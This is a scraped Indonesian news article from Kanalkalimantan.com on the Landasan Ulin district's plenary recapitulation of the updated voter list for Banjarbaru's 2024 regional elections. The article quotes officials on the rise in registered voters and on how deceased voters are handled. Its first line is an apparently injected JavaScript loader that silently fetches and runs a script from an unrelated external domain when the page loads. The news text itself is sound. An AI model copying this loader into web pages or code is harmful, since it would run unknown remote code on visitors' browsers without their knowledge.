(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Kota Banjarbaru rampungkan proses Rekapitulasi Daftar Pemilih Hasil Pemutakhiran (DPHP) dari 20 Kelurahan se Kota Banjarbaru seteleh proses coklit (pencocokan dan penelitian) berakhir.
Pasca rapat pleno terbuka rekapitulasi DPHP di tingkat kelurahan dilanjutkan ke tingkat kecamatan oleh Panitia Pemilihan Kecamatan (PPK).
Hal tersebut dilakukan PPK Landasan Ulin yang menggelar rapat pleno terbuka rekapitulasi DPHP, Selasa (6/8/2024) siang, di aula kantor Kecamatan Landasan Ulin.
Baca juga: Dugaan Pelanggaran Pemilu Mantan Ketua KPU Banjarbaru, Wahyu NZ Lapor ke Bawaslu
Ketua PPK Landasan Ulin Fathurrahman mengatakan, dari hasil rekapitulasi DPHP secara umum terdata ada kenaikan dua ratus lebih pemilih, jika dibandingkan dengan pelaksanaan Pilpres dan Pileg 2024 lalu.
Khusus di Kecamatan Landasan Ulin, kata dia, ada penambahan 289 orang pemilih untuk pelaksanaan Pilkada serentak pada 27 November 2024 mendatang.
“Khusus untuk Pilkada kita dapat data turunan dari KPU sebanyak 56.472 pemilih, setelah coklit oleh Pantarlih selama satu bulan ada perubahan dan pergeseran angka menjadi 56.761, atau ada kenaikan sebanyak 289 pemilih,” ujar Ketua PPK Landasan Ulin, Selasa (6/8/2024) siang.
Baca juga: Pelatihan Pengelolaan Perpustakaan Lapas dan Rutan se Kalsel
Fathur mengatakan kendala yang terjadi selama proses pemutakhiran data pemiluh hampir rata-rata adalah warga yang didata sedang tidak berada di rumah atau sedang bekerja ke luar kota.
“Sehingga kadang-kadang kita baru bisa bertemu dalam beberapa hari kemudian, atau didatangi pada hari libur baru bisa bertemu,” ungkap dia.
Data pemilih meninggal dunia juga terus masuk ke PPK, jika masih tidak bisa dibuktikan melalui akta kematian maka akan tetap dianggap sebagai pemilih yang memenuhi syarat.
“Maka kita berdasarkan arahan dari KPU tetap kita masukkan dalam daftar pemilih yang MS atau Memenuhi Syarat. Karena tanpa akta kematian kita tidak bisa mencoret namanya karena itu sudah ketentuannya,” jelasnya.
Baca juga: Pemanfaatkan Pangan Lokal Terong dan Tomat Jadi Asinan Warga Babirik Hilir
Sementara Ketua KPU Banjarbaru Dahtiar yang ikut hadir, mengatakan rapat pleno DPHP di Kota Banjarbaru dilaksanakan selama dua hari yakni pada 6-7 Agustus 2024.
Kecamatan Landasan Ulin dan Liang Anggang termasuk dua kecamatan yang melaksanakan kegiatan rapat pleno DPHP lebih dahulu.
Baca juga: Warga Belajar SPNF Banjarbaru Dibekali Pelatihan Ketrampilan Komputer
“Kemudian Banjarbaru Utara, Banjarbaru Selatan, dan Cempaka akan melaksanakan rapat pleno DPHP,” ujar Dahtiar.
Usai rapat pleno DPHP tingkat kecamatan selesai, setelah itu KPU Banjarbaru melaksanakan rapat pleno DPHP di tingkat Kota Banjarbaru.
“Setelah itu naik ke tingkat kota yang akan kita antara tanggal 9, 10, atau 11 Agustus untuk menghasilkan DPS atau Daftar Pemilih Sementara,” tandasnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
This website uses cookies.